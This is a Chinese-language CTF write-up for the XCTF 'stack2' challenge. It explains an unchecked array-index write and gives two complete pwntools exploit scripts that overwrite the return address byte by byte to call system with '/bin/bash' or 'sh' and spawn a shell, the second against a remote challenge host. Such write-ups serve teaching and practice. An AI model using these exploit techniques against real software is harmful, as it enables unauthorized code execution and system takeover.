xctf - stack2

Posted 2021-03-23 yidianhan

xctf - stack2

文件check一下，几乎全开了

 

 

运行一下程序，好像很正常呢：

 

 

 再来一个大的，好像有点儿问题，变1.00了

 

 

在ida中查看，在输入的时候没有检查数据大小

 

 

 可以通过劫持eip获取shell。程序偏移0x84，程序中读取了低位，需要逐位添加地址

 

 

 system（‘/bin/bash’）地址：0x0804859b

 

 

#!/usr/bin/env python
#coding:utf-8

from pwn import *

p = process(‘./stack2‘)
#p = remote(‘xxxxx‘,xxxx)

system_bish_addr = 0x0804859b

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline(‘3‘)
    p.recvuntil(‘which number to change:
‘)
    p.sendline(str(addr))
    p.recvuntil(‘new number:
‘)
    p.sendline(str(va))
    p.recvuntil(‘5. exit
‘)

#payload = xxxxx

p.sendlineafter(‘How many numbers you have:
‘,‘1‘)

p.sendlineafter(‘Give me your numbers
‘,‘2‘)

p.recvuntil(‘5. exit
‘)

write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

p.sendline(‘5‘)
p.interactive()

本地成功，远程失败，提示没有bash，只有sh

 

 

 

 

 

 需要改一下代码：

先找一下程序的system地址和sh地址：

 

 

 

 

 

system_addr = 0x08048450

bish_addr = 0x08048987

修改后：

#!/usr/bin/env python
#coding:utf-8

from pwn import *

#p = process(‘./stack2‘)
p = remote(‘111.198.29.45‘,58596)

system_addr = 0x08048450
bish_addr = 0x08048987

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline(‘3‘)
    p.recvuntil(‘which number to change:
‘)
    p.sendline(str(addr))
    p.recvuntil(‘new number:
‘)
    p.sendline(str(va))
    p.recvuntil(‘5. exit
‘)

#payload = xxxxx

p.sendlineafter(‘How many numbers you have:
‘,‘1‘)

p.sendlineafter(‘Give me your numbers
‘,‘2‘)

p.recvuntil(‘5. exit
‘)

write_adrr(leave_offset,0x50)
write_adrr(leave_offset+1,0x84)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

leave_offset +=8
write_adrr(leave_offset,0x87)
write_adrr(leave_offset+1,0x89)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)
p.sendline(‘5‘)
p.interactive()

成功！